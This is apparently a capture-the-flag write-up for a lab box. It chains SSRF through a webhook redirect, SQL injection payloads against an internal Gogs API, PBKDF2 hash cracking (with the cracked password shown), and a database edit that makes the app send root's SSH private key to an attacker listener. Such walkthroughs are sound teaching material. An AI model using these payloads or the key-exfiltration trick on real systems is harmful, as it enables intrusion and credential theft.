Scanning

> TARGET=10.129.134.255 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap

PORT     STATE    SERVICE REASON         VERSION
22/tcp   open     ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp   open     http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: HTTP Monitoring Tool
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
3000/tcp filtered ppp     no-response

Web Enum

  • The redirecting for the web is weird (to www.health.htb and it doesn’t show anything)
  • i have to use IP for the enum
  • webhook can call back with a post
  • run a redirect server to redirect the request to a local port on the target
> python3 redirect.py --port 80 --ip <ip> http://127.0.0.1:3000
  • run a post server to receive the webhook call back
> python3 ~/tools/pserver.py 8000
  • We can see from the internal page about the following linked software
https://github.com/gogs/gogs/tree/v0.5.5
  • Research online shows that there is a sqli vulnerability, poc shown below. Note that the database is a sqlite database, so, try the sqli phrases of a sqlite db.
curl "http://127.0.0.1:3000/api/v1/users/search?q='/**/and/**/false)/**/union/**/select/**/null,null,@@version,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/from/**/mysql.db/**/where/**/('%25'%3D'"

curl http://127.0.0.1:3000/api/v1/users/search?q=e')/**/union/**/all/**/select/**/1,'1',(select/**/group_concat(column_name/**/separator/**/'|')/**/from/**/information_schema.columns/**/where/**/table_name='user'),'1','1','1','1',1,'1',1,1,1,1,1,'1','1','1','1',1,1,'1','1',null,null,'1',1,1--/**/-OR/**/('1'='1
  • We receive the following response.
{"webhookUrl":"http:\/\/<ip>:8000","monitoredUrl":"http:\/\/<ip>","health":"up","body":"{\"data\":[{\"username\":\"susanne\",\"avatar\":\"\/\/1.gravatar.com\/avatar\/c11d48f16f254e918744183ef7b89fce\"},{\"username\":\"66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37\",\"avatar\":\"\/\/1.gravatar.com\/avatar\/1\"}],\"ok\":true}","message":"HTTP\/1.0 301 Moved Permanently","headers":{"Server":"BaseHTTP\/0.6 Python\/3.10.5","Date":"Sun, 21 Aug 2022 23:47:20 GMT","Location":"http:\/\/127.0.0.1:3000\/api\/v1\/users\/search?q=e')\/**\/union\/**\/all\/**\/select\/**\/1,'1',(select\/**\/passwd\/**\/from\/**\/user),'1','1','1','1',1,'1',1,1,1,1,1,'1','1','1','1',1,1,'1','1',null,null,'1',1,1--\/**\/-OR\/**\/('1'='1","Content-Type":"application\/json; charset=UTF-8","Set-Cookie":"_csrf=; Path=\/; Max-Age=0","Content-Length":"264"}}
  • The username and credential hash can be found
susanne:66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37
  • Next we dump the salt
> python3 redirect.py --port 80 --ip <ip> "http://127.0.0.1:3000/api/v1/users/search?q=e')/**/union/**/all/**/select/**/1,'1',(select/**/salt/**/from/**/user),'1','1','1','1',1,'1',1,1,1,1,1,'1','1','1','1',1,1,'1','1',null,null,'1',1,1--/**/-OR/**/('1'='1"
salt:sO3XIbeW14
  • According to the source code, the hash function is pbkdf2
PBKDF2([]byte(u.Passwd), []byte(u.Salt), 10000, 50, sha256.New)
password, salt []byte, iter, keyLen int, h func() hash.Hash
sha256:1000:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt
  • Note that the credential hash is exact the hex representation of the credential hash. So, we need to first convert it to the corresponding byte form/ The hashes should be arranged as
> echo 'pass_from_sqli' | xxd -r -p | base64

# Then format the hash as this
sha256:10000:<base64_salt>:<base64_hash>
sha256:10000:c08zWEliZVcxNA:ZsB0ZFVFeB8QZPt/0Rd0U9uPDKLOWKnYHAS+Lm07oqDWwDLw/U74P0jXQ0nsGW9O/jc=
  • Crack it using hash cat
sha256:10000:c08zWEliZVcxNA:ZsB0ZFVFeB8QZPt/0Rd0U9uPDKLOWKnYHAS+Lm07oqDWwDLw/U74P0jXQ0nsGW9O/jc=:february15
  • Now, we can login as susanne and fetch the user flag

PE

  • Using pspy64, we learnt that there is a background task that runs the created tasks from the webapp as root.
  • We can also find the password to the database used for this app.
  • So, in principle, we can create a new task and update the task content in the db to make it load a local file, e.g /root/.ssh/id_rsa.
  • Create a new tasks on the web as before
  • Login to db and update the task’s monitoredUrl
> update tasks set webhookUrl='file:///root/.ssh/id_rsa';
  • Receive the callback and get root’s id_rsa
  • Login as root to fetch the root flag